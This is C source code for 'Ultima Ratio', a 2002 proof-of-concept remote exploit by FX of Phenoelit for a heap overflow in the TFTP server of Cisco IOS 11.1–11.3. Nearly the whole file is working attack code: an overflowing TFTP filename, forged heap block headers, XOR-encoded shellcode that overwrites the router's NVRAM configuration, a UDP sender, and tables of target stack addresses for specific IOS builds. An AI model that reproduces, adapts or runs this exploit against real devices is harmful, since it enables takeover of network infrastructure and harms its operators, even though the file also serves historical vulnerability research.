/*
                         --== P H E N O E L I T ==--
               ____  _______                      _____       _______
     ____   ____  / /__  __/  __   ___ ______    /    /______/__  __/   ______
    /   /  /   / /    / / -*-/  \_/  //     /   /    /      /  / / -*- / __  /
   /   /  /   / /    / / __ / /\_// // __  /   / /\ \  __  /  / / __  / / / /
  /   /__/   / /____/ / / // /   / // / / /   / / / / / / /  / / / / / /_/ /
 /__________/______/_/ /_//_/   /_//_/ /_/   /_/ /_/_/ /_/  /_/ /_/ /_____/

*/

/* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
 * by FX of Phenoelit <fx@phenoelit.de>
 * http://www.phenoelit.de
 *
 * Black Hat Briefings 2002 / Las Vegas
 * DefCon X 2002 / Las Vegas
 * 
 * Cisco IOS 11.1.x to 11.3.x TFTP-Server
 * If a TFTP server for a flash file is configured, a long filename in the TFTP
 
 * request will overflow a heap buffer. The attached program is a PoC to exploi
t 
 * this vulnerability by executing "shell code" on the router and write the 
 * attached configuration into NVRAM to basically own the router. 
 *
 * Command line argument -p XXXXXXXX most definetly required. Obtain from syslo
g 
 * host or any other means possible. The stack address changes by image. 
 * Find the right one for the IOS build you are running and if you feel like it
, 
 * send it to me.
 *
 * Kiddy Warnings: 
 * - It will NOT work in fire-and-forget mode. 
 * - The shellcode is only good for Cisco 1000 and 1600 series.
 * - This code is not for illegal use. 
 *
 * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

#include <sys/ioctl.h>
#include <netinet/in.h>                
#include <netpacket/packet.h>
#include <net/ethernet.h>               
#include <net/if.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>


typedef struct {
    u_int16_t   opcode                  __attribute__((packed));
    u_int8_t    file                    __attribute__((packed));
    u_int8_t    type                    __attribute__((packed));
} tftp_t;

typedef struct {
    u_int16_t   magic                   __attribute__((packed));
    u_int16_t   one                     __attribute__((packed));
    u_int16_t   checksum                __attribute__((packed));
    u_int16_t   IOSver                  __attribute__((packed));
    u_int32_t   unknown                 __attribute__((packed));
    u_int32_t   ptr                     __attribute__((packed));
    u_int32_t   size                    __attribute__((packed));
} nvheader_t;

struct {
    int                 verbose;
    int                 test;
    char                *filename;
    unsigned int        overflow;
    u_int32_t           prev;
    u_int32_t           next;
    u_int32_t           offset;
    u_int32_t           buffer_location;
    u_int32_t           stack_address;
    unsigned int        nop_sleet;
    int                 dot1;
} cfg;

u_int16_t       chksum(u_char *data, unsigned long count);
void            hexdump(unsigned char *bp, unsigned int length);
void            usage(char *s);

#define MAX_SIZE        1472
#define XOR_PAT         0xD5

#define FB_PREV         28
#define FB_NEXT         24
#define FB_FREENEXT     60
#define FB_FREEPREV     64

#define SPLASH          \
        "Phenoelit ULTIMA RATIO\n" \
        " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
        " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" 

int main(int argc, char **argv) {
    char                option;
    extern char         *optarg;
    unsigned int        i;

    /* confg file */
    int                 fd;
    struct stat         sb;

    u_char              *buffer;
    u_char              *p;
    nvheader_t          *nvh;
    unsigned int        len;
    u_int16_t           cs1;
    u_int32_t           temp;

    /* Network */
    int                 sfd;
    struct in_addr      dest;
    struct sockaddr_in  sin;

    /* the packet */
    unsigned int        psize = 0;
    u_char              *pack;
    tftp_t              *tftp;
    char                tftp_type[] =   "PHENOELIT";
    char                terminator[] =  "\xCA\xFE\xF0\x0D";


    char                fakeblock[] =
        "\xFD\x01\x10\xDF"      // RED
        "\xAB\x12\x34\xCD"      // MAGIC
        "\xFF\xFF\xFF\xFF"      // PID
        "\x80\x81\x82\x83"      // 
        "\x08\x0C\xBB\x76"      // NAME
        "\x80\x8a\x8b\x8c"      // 

        "\x02\x0F\x2A\x04"      // NEXT 
        "\x02\x0F\x16\x94"      // PREV 

        "\x7F\xFF\xFF\xFF"      // SIZE 
        "\x01\x01\x01\x01"      // 
        "\xA0\xA0\xA0\xA0"      // padding ?
        "\xDE\xAD\xBE\xEF"      // MAGIC2
        "\x8A\x8B\x8C\x8D"      // 
        "\xFF\xFF\xFF\xFF"      // padding 
        "\xFF\xFF\xFF\xFF"      // padding 

        "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
        "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
ss)

        ;

    char                fakeblock_dot1[] =
        "\xFD\x01\x10\xDF"      // RED
        "\xAB\x12\x34\xCD"      // MAGIC
        "\xFF\xFF\xFF\xFF"      // PID
        "\x80\x81\x82\x83"      // 
        "\x08\x0C\xBB\x76"      // NAME
        "\x80\x8a\x8b\x8c"      // 

        "\x02\x0F\x2A\x04"      // NEXT 
        "\x02\x0F\x16\x94"      // PREV 

        "\x7F\xFF\xFF\xFF"      // SIZE 
        "\x01\x01\x01\x01"      // 
        //"\xA0\xA0\xA0\xA0"    // no padding here on 11.1
        "\xDE\xAD\xBE\xEF"      // MAGIC2
        "\x8A\x8B\x8C\x8D"      // 
        "\xFF\xFF\xFF\xFF"      // padding 
        "\xFF\xFF\xFF\xFF"      // padding 

        "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
        "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
ss)

        ;

    char                nop[] =
        "\x4E\x71";                     // the IOS will write here

    char                shell_code[] =
        
        // ************** CODE ****************
        
        "\x22\x7c\x0f\xf0\x10\xc2"      //moveal #267391170,%a1 (0x020F2A24)
        "\xe2\xd1"                      //lsrw %a1@ (0x020F2A2A)
        "\x47\xfa\x01\x23"              //lea %pc@(12d<xor_code+0xfd>),%a3 (0x0
20F2A2C)
        "\x96\xfc\x01\x01"              //subaw #257,%a3 (0x020F2A30)
        "\xe2\xd3"                      //lsrw %a3@ (0x020F2A34)
        "\x22\x3c\x01\x01\x01\x01"      //movel #16843009,%d1 (0x020F2A36)
        "\x45\xfa\x01\x17"              //lea %pc@(131<xor_code+0x101>),%a2(0x0
20F2A3C)
        "\x94\xfc\x01\x01"              //subaw #257,%a2 (0x020F2A40)
        "\x34\x3c\xd5\xd5"              //movew #-10795,%d2 (0x020F2A44)
        "\xb5\x5a"                      //eorw %d2,%a2@+ (0x020F2A48)
        "\x0c\x92\xca\xfe\xf0\x0d"      //cmpil #-889262067,%a2@ (0x020F2A4A)
        "\xcc\x01"                      //branch (modified) (0x020F2A50)
        "\xff\xf6"                      //(0x020F2A52)

        // ************** XORed CODE ****************

        "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A5E)
        "\xF7\xA9\xDA\x25\xC5\x17"      //moveal #267391170,%a1 (0x020F2A62)
        "\xE7\x69\xD5\xD4"              //movew #1,%a1@ (0x020F2A68)
        "\x90\x2F\xD5\x87"              //lea %pc@(62 <config>),%a2 (0x020F2A6C
)
        "\xF7\xA9\xDB\xD5\xD7\x7B"      //moveal #234881710,%a1 (0x020F2A70)
        "\xA1\xD4"                      //moveq #1,%d2 (0x020F2A76)
        "\xC7\x0F"                      //moveb %a2@+,%a1@+ (0x020F2A78)
        "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A7A)
        "\x46\x97"                      //subxw %d2,%d1 (0x020F2A80)
        "\xBE\xD5\x2A\x29"              //bmiw 22 <write_delay> (0x020F2A82)
        "\xD9\x47\x1F\x2B\x25\xD8"      //cmpil #-889262067,%a2@ (0x020F2A86)
        "\xB3\xD5\x2A\x3F"              //bnew 1a <copy_confg> (0x020F2A8C)
        "\xE7\x29\xD5\xD5"              //movew #0,%a1@+ (0x020F2A90)
        "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A94)
        "\x46\x97"                      //subxw %d2,%d1 (0x020F2A9A)
        "\xBE\xD5\x2A\x29"              //bmiw 3c <write_delay2> (0x020F2A9C)
        "\x66\x29\xDB\xD5\xF5\xD5"      //cmpal #234889216,%a1 (0x020F2AA0)
        "\xB8\xD5\x2A\x3D"              //bltw 32 <delete_confg> (0x020F2AA6)
        "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2AAA)
        "\xF5\xA9\xDA\x25\xD5\xD5"      //moveal #267386880,%a0 (0x020F2AAE)
        "\xFB\x85"                      //moveal %a0@,%sp (0x020F2AB4)
        "\xF5\xA9\xDA\x25\xD5\xD1"      //moveal #267386884,%a0 (0x020F2AB6)
        "\xF5\x85"                      //moveal %a0@,%a0 (0x020F2ABC)
        "\x9B\x05"                      //jmp %a0@ (0x020F2ABE)

        ;

    /* configure defaults */
    memset(&dest,0,sizeof(dest));
    memset(&cfg,0,sizeof(cfg));
    cfg.overflow=652;
    cfg.prev=0x020F1694;
    cfg.next=0x020F2A04;
    //cfg.offset=0x13D4;
    //cfg.offset=0x137C;        // 4988 
    cfg.offset=0x1390;          // 5008 
    cfg.buffer_location=0x020F2A24;
    cfg.stack_address=0x02057ECC;
    cfg.nop_sleet=16;

    printf("%s\n",SPLASH);

    while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
        switch (option) {
            case 'd':   if (inet_aton(optarg,&dest)==0) {
                            /* ups, wasn't an IP - maybe a hostname */
                            struct hostent      *hd;
                            if ((hd=gethostbyname(optarg))==NULL) {
                                fprintf(stderr,"Could not resolve destination h
ost\n");
                                return (1);
                            } else {
                                bcopy(hd->h_addr,(char *)&dest,hd->h_length);
                            }
                        }
                        break;
            case 'f':   cfg.filename=(char *)malloc(strlen(optarg)+1);
                        strcpy(cfg.filename,optarg);
                        break;
            case 'l':   if ( (cfg.overflow=atoi(optarg))==0 ) {
                            fprintf(stderr,"Overflow length incorrect\n");
                            return (1);
                        }
                        break;
            case 'o':   if ( (cfg.offset=atoi(optarg))==0 ) {
                            fprintf(stderr,"Offset incorrect\n");
                            return (1);
                        }
                        break;
            case 'N':   if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
                            fprintf(stderr,"NOP sleet incorrect\n");
                            return (1);
                        }
                        break;
            case 'p':   sscanf(optarg,"%08X",&(cfg.prev));
                        break;
            case 'n':   sscanf(optarg,"%08X",&(cfg.next));
                        break;
            case 's':   sscanf(optarg,"%08X",&(cfg.stack_address));
                        break;
            case 'v':   cfg.verbose++;
                        break;
            case 't':   cfg.test++;
                        break;
            case '1':   cfg.dot1++;
                        break;
            default:    usage(argv[0]);
                        return (1);
        }
    }

    /*
     * check for dummies 
     */

    if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
        usage(argv[0]);
        return 1;
    }

    /* 
     * patch fake block with new addresses 
     */

    cfg.buffer_location=cfg.prev+20+cfg.offset;

    if (cfg.dot1) {
        temp=htonl(cfg.prev+20);
        memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
        temp=htonl(cfg.next);
        memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
        temp=htonl(cfg.buffer_location);
        memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
        temp=htonl(cfg.stack_address);
        memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
    } else {
        temp=htonl(cfg.prev+20);
        memcpy(&(fakeblock[FB_PREV]),&(temp),4);
        temp=htonl(cfg.next);
        memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
        temp=htonl(cfg.buffer_location);
        memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
        temp=htonl(cfg.stack_address);
        memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
    }

    if (cfg.verbose) {
        if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
        printf("Values:\n"
                "- prev ptr of 0x%08X\n"
                "- next ptr of 0x%08X\n"
                "- buffer located at 0x%08X (offset %u)\n"
                "- stack return address 0x%08X\n"
                "- overflow lenght %u\n"
                "- NOP sleet %u\n"
                ,
                cfg.prev+20,
                cfg.next,
                cfg.buffer_location,cfg.offset,
                cfg.stack_address,
                cfg.overflow,
                cfg.nop_sleet);
    }

    if (cfg.dot1) {
        if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
            fprintf(stderr,"0x00 byte in fake block detected!\n");
            if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
            return (1);
        }
    } else {
        if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
            fprintf(stderr,"0x00 byte in fake block detected!\n");
            if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
            return (1);
        }
    }

    /* 
     * Load Config
     * - load into buffer
     * - prepare NVRAM header
     * - calculate checksum
     * -> *buffer contains payload
     */
    if (cfg.filename==NULL) return (-1);
    if (stat(cfg.filename,&sb)!=0) {
        fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
        return (-1);
    }

    if ((fd=open(cfg.filename,O_RDONLY))<0) {
        fprintf(stderr,"Could not open() file %s\n",cfg.filename);
        return (-1);
    }

    len=sb.st_size;
    if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
        fprintf(stderr,"Malloc() failed\n");
        return (-1);
    }
    memset(buffer,0,len+sizeof(nvheader_t)+10);

    p=buffer+sizeof(nvheader_t);
    if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
    close(fd);

    /* 
     * pad config so it is word bound for the 0xcafef00d test
     */
    if ((len%2)!=0) {
        strcat(p,"\x0A");
        len++;
        if (cfg.verbose) printf("Padding config by one\n");
    }

    nvh=(nvheader_t *)buffer;
    nvh->magic=htons(0xABCD);           
    nvh->one=htons(0x0001);             // is always one 
    nvh->IOSver=htons(0x0B03);          // IOS version
    nvh->unknown=htonl(0x00000014);     // something, 0x14 just works
    nvh->ptr=htonl(0x020AA660);         // something, 0x020AA660 just works
    nvh->size=htonl(len);

    cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
    if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
    nvh->checksum=cs1;


    /* 
     * Check the size of all together and make sure it will fit into the
     * packet
     */
    psize=  len + sizeof(nvheader_t) + 
            + strlen(fakeblock)
            + ( strlen(nop) * cfg.nop_sleet )
            + strlen(shell_code)
            + strlen(terminator)
            + cfg.overflow + 1
            + sizeof(tftp_t) + strlen(tftp_type) ;
    if ( psize > MAX_SIZE ) {
        fprintf(stderr,"The config file specified is too big and does not fit"
                " into one packet. Specify smaller file\n");
        free(buffer);
        return (1);
    }
    if ((pack=malloc(psize))==NULL) {
        fprintf(stderr,"Could not malloc() packet\n");
        return (-1);
    }
    memset(pack,0,psize);


    /* 
     * XOR encode the config block 
     */ 
    p=buffer;
    for (i=0;i<(len+sizeof(nvheader_t));i++) {
        p[i]=p[i]^XOR_PAT;
    }


    /* 
     * Prepare the TFTP protocol part
     */
    tftp=(tftp_t *)((void *)pack);
    tftp->opcode=htons(1);
    
    /* (1) Overflow */
    p=(char *)&(tftp->file);
    memset(p,'A',cfg.overflow);
    p+=cfg.overflow;

    /* (2) Fake block */
    if (cfg.dot1) {
        memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
        p+=sizeof(fakeblock_dot1)-1;
    } else {
        memcpy(p,fakeblock,sizeof(fakeblock)-1);
        p+=sizeof(fakeblock)-1;
    }

    /* (3) add NOP sleet */
    for (i=0;i<cfg.nop_sleet;i++) {
        memcpy(p,nop,sizeof(nop)-1);
        p+=sizeof(nop)-1;
    }

    /* (4) append shell code */
    memcpy(p,shell_code,sizeof(shell_code)-1);
    p+=sizeof(shell_code)-1;

    /* (5) new config */
    memcpy(p,buffer,strlen(buffer));
    p+=strlen(buffer);

    /* (6) terminator */
    strcpy(p,terminator);
    p+=strlen(terminator)+1;

    /* (7) give it a type */
    strcpy(p,tftp_type);



    if (cfg.verbose>1) hexdump(pack,psize);

    if (cfg.test) return(0);

    /*
     * Perform attack
     */
    if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
        perror("socket()");
        return (-1);
    }
    memset(&sin,0,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(69);  /* tftp */
    memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));

    printf("*** Sending exploit ***\n");

    if (sendto(sfd,pack,psize,0,
                (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
        perror("sendto()");
        return(-1);
    }

    close(sfd);

    if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);

    /*
     * clean up 
     */
    free(buffer);
    free(pack);

    return 0;
}


/* checksum function as used in IRPAS, stolen somewhere */
u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t           sum = 0;
    u_int16_t           *wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 )  {
        sum = sum + *wrd;
        wrd++;
        count -= 2;
    }

    if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }

    while (sum>>16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }

    return (~sum);
}


/* A better version of hdump, from Lamont Granquist.  Modified slightly
 * by Fyodor (fyodor@DHP.com) 
 * obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {

  /* stolen from tcpdump, then kludged extensively */

  static const char asciify[] = "................................ !\"#$%&'()*+,
-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz
{|}~...........................................................................
......................................................";

  register const u_short *sp;
  register const u_char *ap;
  register u_int i, j;
  register int nshorts, nshorts2;
  register int padding;

  printf("\n\t");
  padding = 0;
  sp = (u_short *)bp;
  ap = (u_char *)bp;
  nshorts = (u_int) length / sizeof(u_short);
  nshorts2 = (u_int) length / sizeof(u_short);
  i = 0;
  j = 0;
  while(1) {
    while (--nshorts >= 0) {
      printf(" %04x", ntohs(*sp));
      sp++;
      if ((++i % 8) == 0)
        break;
    }
    if (nshorts < 0) {
      if ((length & 1) && (((i-1) % 8) != 0)) {
        printf(" %02x  ", *(u_char *)sp);
        padding++;
      }
      nshorts = (8 - (nshorts2 - nshorts));
      while(--nshorts >= 0) {
        printf("     ");
      }
      if (!padding) printf("     ");
    }
    printf("  ");

    while (--nshorts2 >= 0) {
      printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
      ap += 2;
      if ((++j % 8) == 0) {
        printf("\n\t");
        break;
      }
    }
    if (nshorts2 < 0) {
      if ((length & 1) && (((j-1) % 8) != 0)) {
        printf("%c", asciify[*ap]);
      }
      break;
    }
  }
  if ((length & 1) && (((i-1) % 8) == 0)) {
    printf(" %02x", *(u_char *)sp);
    printf("                                       %c", asciify[*ap]);
  }
  printf("\n");
}

void usage(char *s) {
    fprintf(stderr,
            "Usage: %s -d <device_ip> -f config.file [-opts]\n"
            "Options:\n"
            " -p 1234ABCD   sets the previous ptr address\n"
            " -n 1234ABCD   sets the next ptr address\n"
            " -s 1234ABCD   sets the stack address\n"
            " -o 1234       sets the offset from prev to buffer\n"
            " -l 1234       sets the overflow size\n"
            " -N 1234       sets the NOP sleet\n"
            " -1            use IOS 11.1 memory layout\n"
            " -v            increases verbosity (highly recommended)\n"
            " -t            only test, don't send\n"
            "\n"
            "Recommended stack addresses:\n"
            "IOS 11.1(20)         -s 020A1120 (IP Input)\n"
            "IOS 11.2(18)P        -s 0204120C (Load Meter)\n"
            "IOS 11.2(26)P4       -s 02041554 (Load Meter)\n"
            "IOS 11.3(11)B        -s 02057ECC (Load Meter)\n"
            ,s);
}